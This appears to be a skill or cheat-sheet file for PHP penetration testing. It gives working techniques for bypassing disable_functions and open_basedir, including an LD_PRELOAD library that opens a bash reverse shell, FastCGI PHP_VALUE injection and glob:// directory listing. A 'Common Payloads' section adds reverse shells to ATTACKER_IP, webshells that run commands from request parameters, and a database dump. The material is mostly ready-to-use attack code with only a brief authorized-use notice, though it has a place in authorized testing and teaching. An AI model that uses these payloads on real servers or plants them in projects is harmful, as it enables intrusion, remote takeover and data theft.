PHP Pentesting & Bypass Techniques
A comprehensive skill for PHP security testing, covering command execution, disable_functions bypass, and open_basedir bypass techniques.
⚠️ Safety Notice
This skill is for authorized security testing only. Always have written permission before testing any system. These techniques can be used maliciously - use responsibly.
Quick Reference
Command Execution Functions
| Function | Output Behavior | Notes |
|---|---|---|
exec() |
Returns last line | Use shell_exec() for full output |
passthru() |
Direct to browser | Good for interactive commands |
system() |
Direct + returns last line | Most common choice |
shell_exec() |
Returns all output | Reliable for scripting |
`cmd` |
Returns all output | Backtick syntax |
popen() |
Pipe to process | Use with fread() |
proc_open() |
Full control | Most flexible |
preg_replace() |
Via /e modifier |
Deprecated in PHP 7+ |
pcntl_exec() |
Replaces process | Requires pcntl extension |
mail() |
Via sendmail options | No output visible |
Quick Command Execution
// Basic command execution
echo system("whoami");
echo shell_exec("id");
echo passthru("uname -a");
// With output capture
$output = shell_exec("ls -la /tmp");
echo $output;
// Using backticks
$result = `cat /etc/passwd`;
disable_functions Bypass
When command execution functions are disabled, try these bypass techniques:
1. Check Available Functions
First, identify what's still available:
<?php
$disabled = ini_get('disable_functions');
$exec_functions = ['exec', 'system', 'passthru', 'shell_exec', 'popen', 'proc_open'];
foreach ($exec_functions as $func) {
if (function_exists($func) && !str_contains($disabled, $func)) {
echo "✓ $func is available\n";
}
}
?>
2. LD_PRELOAD Bypass
If mail() or similar functions are available, use LD_PRELOAD:
Step 1: Create the shared library
// save as shell.c, compile with: gcc -shared -fPIC -o shell.so shell.c
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
uid_t getuid(void) {
unsetenv("LD_PRELOAD");
system("bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1");
return 1;
}
Step 2: Upload and execute via PHP
<?php
// Upload shell.so to target, then:
putenv("LD_PRELOAD=/path/to/shell.so");
mail('', '', '', '', '-f test');
?>
Functions that work with LD_PRELOAD:
mail()mb_send_mail()(requires php-mbstring)imap_mail()(requires php-imap)libvirt_connect()(requires php-libvirt)gnupg_init()(requires php-gnupg)new Imagick()(ImageMagick)
3. FastCGI/PHP-FPM Bypass
If PHP-FPM is running, you can bypass open_basedir completely:
<?php
// Use the bundled FCGIClient script
require_once 'scripts/fcgi_client.php';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['cmd']); ?>";
$params = [
'SCRIPT_FILENAME' => '/var/www/html/test.php',
'PHP_VALUE' => 'open_basedir=/',
'REQUEST_METHOD' => 'POST'
];
echo $client->request($params, $code);
?>
4. Callback Function Exploitation
Many PHP functions accept callbacks that can execute arbitrary code:
<?php
// If you can control the callback parameter:
$functions = [
'array_map', 'array_filter', 'usort', 'uasort',
'call_user_func', 'call_user_func_array',
'preg_replace_callback', 'iterator_apply'
];
// Example with array_map:
array_map('system', ['whoami']);
array_map('exec', ['id']);
// With call_user_func:
call_user_func('system', 'whoami');
call_user_func_array('system', ['whoami']);
?>
5. Version-Specific Exploits
| PHP Version | Exploit | Notes |
|---|---|---|
| 5.x - 8.0 | Filter bypass | mm0r1/exploits |
| 7.0-7.4 | FFI bypass | If FFI extension enabled |
| 5.2.4 | ionCube | Specific to ionCube loader |
| 5.2.4/5.2.5 | cURL | curl extension exploit |
| Any | Imagick < 3.3.0 | ImageMagick vulnerability |
open_basedir Bypass
1. glob:// Protocol
List directories outside open_basedir:
<?php
$file_list = [];
$it = new DirectoryIterator("glob:///v??/run/*");
foreach ($it as $f) {
$file_list[] = $f->__toString();
}
foreach ($file_list as $f) {
echo "$f\n";
}
?>
Path patterns:
/v??/run/*→/var/run/*/e??/*→/etc/*/t??/*→/tmp/*
2. FastCGI Full Bypass
See the FastCGI section above - this completely bypasses open_basedir by sending custom PHP_VALUE parameters.
3. PHP Code Execution
Even with open_basedir, you can:
- Read/write files within allowed directories
- Create directories and change permissions
- Dump databases
- Find SSH keys or credentials
<?php
// File operations within open_basedir
file_put_contents('/allowed/path/shell.php', '<?php system($_GET["c"]); ?>');
chmod('/allowed/path/shell.php', 0777);
// Database dump
$pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
$results = $pdo->query('SELECT * FROM users');
foreach ($results as $row) {
echo print_r($row, true);
}
?>
Useful PHP Functions for Pentesting
Information Disclosure
phpinfo(); // Full PHP configuration
getenv(); // Environment variables
get_current_user(); // Current user
getcwd(); // Current working directory
get_cfg_var('key'); // Configuration values
disk_free_space('/'); // Disk space
getmyuid(); // User ID
getmygid(); // Group ID
getmypid(); // Process ID
Filesystem Operations
// Read
file_get_contents('/path');
readfile('/path');
file('/path');
// Write
file_put_contents('/path', 'data');
// List
scandir('/path');
glob('/path/*');
// Permissions
chmod('/path', 0777);
chown('/path', 'user');
chgrp('/path', 'group');
// Create/Delete
mkdir('/path');
rmdir('/path');
touch('/path');
unlink('/path');
Network Operations
// Socket connections
fsockopen('host', 'port');
pfsockopen('host', 'port');
// HTTP requests
file_get_contents('http://host/path');
// FTP
ftp_connect('host');
ftp_get($conn, 'local', 'remote');
ftp_put($conn, 'remote', 'local');
Automated Tools
dfunc-bypasser
Automatically discovers bypass methods:
git clone https://github.com/teambi0s/dfunc-bypasser
cd dfunc-bypasser
python dfunc-bypasser.py
Chankro
Generates LD_PRELOAD exploits:
# Create shell script
echo 'whoami > /tmp/output.txt' > shell.sh
# Generate exploit
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output exploit.php
# Upload exploit.php to target and access via web
p0wny-shell
Automatic bypass detection webshell:
# Download and upload to target
curl -O https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php
Testing Workflow
- Enumerate: Check
phpinfo()for disabled functions and open_basedir - Identify: Find available execution methods
- Bypass: Apply appropriate bypass technique
- Verify: Test command execution
- Escalate: Use PHP capabilities for further access
Common Payloads
Reverse Shell
<?php
// Basic reverse shell
system("bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1");
// Via mail with LD_PRELOAD
putenv("LD_PRELOAD=/tmp/shell.so");
mail('', '', '', '', '-f test');
// Via FastCGI
$code = "<?php system('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'); ?>";
// Use FCGIClient to execute
?>
Webshell
<?php
// Simple webshell
if (isset($_GET['c'])) {
system($_GET['c']);
}
?>
File Upload
<?php
// Upload and execute
$payload = '<?php system($_GET["cmd"]); ?>';
file_put_contents('/tmp/shell.php', $payload);
chmod('/tmp/shell.php', 0777);
?>
References
Scripts
Use the bundled scripts for common tasks:
scripts/check_disabled_functions.php- Check available functionsscripts/fcgi_client.php- FastCGI client for bypassscripts/generate_ldpreload.sh- Generate LD_PRELOAD exploitscripts/webshell_generator.php- Generate custom webshells